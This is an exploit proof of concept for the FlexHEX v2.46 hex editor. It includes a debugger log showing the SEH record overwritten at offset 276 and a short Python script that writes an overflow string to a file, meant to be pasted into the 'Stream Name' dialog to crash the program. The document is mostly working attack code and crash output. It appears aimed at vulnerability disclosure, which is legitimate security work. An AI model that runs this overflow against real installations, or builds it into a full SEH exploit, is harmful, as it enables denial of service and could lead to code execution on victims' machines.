72 lines
No EOL
1.8 KiB
Python
Executable file
72 lines
No EOL
1.8 KiB
Python
Executable file
# Exploit Title: FlexHEX v2.46 - Denial of Service (PoC) and SEH overwritten Crash PoC
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# Discovery by: Rafael Pedrero
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# Discovery Date: 2018-12-20
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# Vendor Homepage: http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
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# Software Link : http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
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# Tested Version: 2.46
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# Tested on: Windows XP SP3
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# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
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# Steps to Produce the Crash:
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# 1.- Run FlexHEX.exe
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# 2.- Go to Menu "Stream" - "New Stream" and copy content of FlexHEX_SEH_Crash.txt to clipboard
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# 3.- Paste the content into the field: 'Stream Name:'
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# 4.- Click 'OK' button and you will see a crash.
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'''
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Log data, item 21
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Address=0BADF00D
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Message= SEH record (nseh field) at 0x0012dde8 overwritten with unicode
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pattern : 0x006a0041 (offset 276), followed by 20 bytes of cyclic data
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after the handler
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SEH chain of main thread
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Address SE handler
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0012DDFC FlexHEX.00420042
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00420042 8BC13B2C
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4E8B3C46 *** CORRUPT ENTRY ***
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EAX 00410041 FlexHEX.00410041
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ECX 00000000
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EDX 00000000
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EBX 0012FA18
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ESP 0012DE3C UNICODE "AAAAAAAAAABBBB"
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EBP 00410041 FlexHEX.00410041
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ESI 0012DE78
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EDI 0012E69C
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EIP 00410041 FlexHEX.00410041
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C 0 ES 0023 32bit 0(FFFFFFFF)
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P 0 CS 001B 32bit 0(FFFFFFFF)
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A 1 SS 0023 32bit 0(FFFFFFFF)
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Z 0 DS 0023 32bit 0(FFFFFFFF)
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S 0 FS 003B 32bit 7FFDF000(FFF)
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T 0 GS 0000 NULL
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D 0
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O 0 LastErr ERROR_SUCCESS (00000000)
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EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
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ST0 empty
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ST1 empty
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ST2 empty
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ST3 empty
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ST4 empty
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ST5 empty
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ST6 empty
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ST7 empty
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3 2 1 0 E S P U O Z D I
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FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
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FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
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'''
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#!/usr/bin/env python
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nseh = "BB"
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seh = "BB"
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junk = "\x41" * 276
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crash = junk + nseh + seh
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f = open ("FlexHEX_SEH_Crash.txt", "w")
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f.write(crash)
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f.close() |